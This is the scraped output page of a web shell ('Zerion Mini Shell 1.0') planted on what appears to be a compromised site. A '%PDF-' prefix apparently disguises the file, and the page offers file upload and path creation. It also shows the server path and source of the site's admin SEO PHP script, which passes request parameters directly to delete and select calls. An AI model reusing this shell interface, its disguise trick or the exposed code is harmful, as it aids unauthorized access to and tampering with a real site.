%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/de.nails.tv/admin/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/de.nails.tv/admin/egyeb_seo.php

<?php

require_once '../config/config.php';

$page = new Page('admin', true);
$page->assign('content', seo());
$page->display('admin/page.tpl.html');

////////////////////////////////////////////////////////////////////////////////

function seo()
{
    $c = new Content();
    $v = new Inputvalidator;
    $db = Registry::get('db');

	$uid = $_SESSION['admin']['user_id'];
	$c->assign('uid', $uid);
	
    $table = 'seo';

    if(isset($_GET['delete'])) $db->delete($_GET['delete'], $table);
    if(isset($_GET['edit'])) {
        $edit = $db->select($_GET['edit'], $table);
        $c->assign('edit', $edit);
    }
    if(!empty($_POST['torol'])) $db->deleteMultiple($_POST['torol'], $table);

    if($_POST && empty($_POST['torol']) && !isset($_POST['keres'])) {
        $rec = validate($_POST, $v);

        if($v->isError) {
            $c->assign('error', $v->printError());
            $c->assign('edit', $rec);
            $_GET['add'] = 1;
        }
        else {
            $rec['id'] = empty($_POST['id']) ? $db->GenID('_' . $table . '_id') : $_POST['id'];

            if(empty($_POST['id'])) {
                $db->insert($rec, $table, true);
            }
            else {
                $db->update($rec, $table);
            }

            header("Location: " . $_SERVER['PHP_SELF']);
            die;
        }
    }

    if(!isset($_GET['add'])) {
        tartalmi_linkekList($c, $db, $table);
    }

    return $c->fetch('admin/egyeb_seo.tpl.html');
}

function tartalmi_linkekList($c, $db, $table)
{
    $sql = "SELECT id, nev, title
            FROM seo
            WHERE storno = 'f'
            ORDER BY sorrend";

    $r = $db->Execute($sql);

    $modules = $r->GetArray();

    $c->assign('modules', $modules);
    $c->assign('table', $table);
}

function validate($rec, $v)
{

    $msg = array('Címet kötelező megadni!');
    $rec['nev'] = $v->v($rec['nev'], 'required, stripHtml', $msg);
	
	$msg = array('Title-t kötelező megadni!');
    $rec['title'] = $v->v($rec['title'], 'required, stripHtml', $msg);
	
	return $rec;
}

?>

Zerion Mini Shell 1.0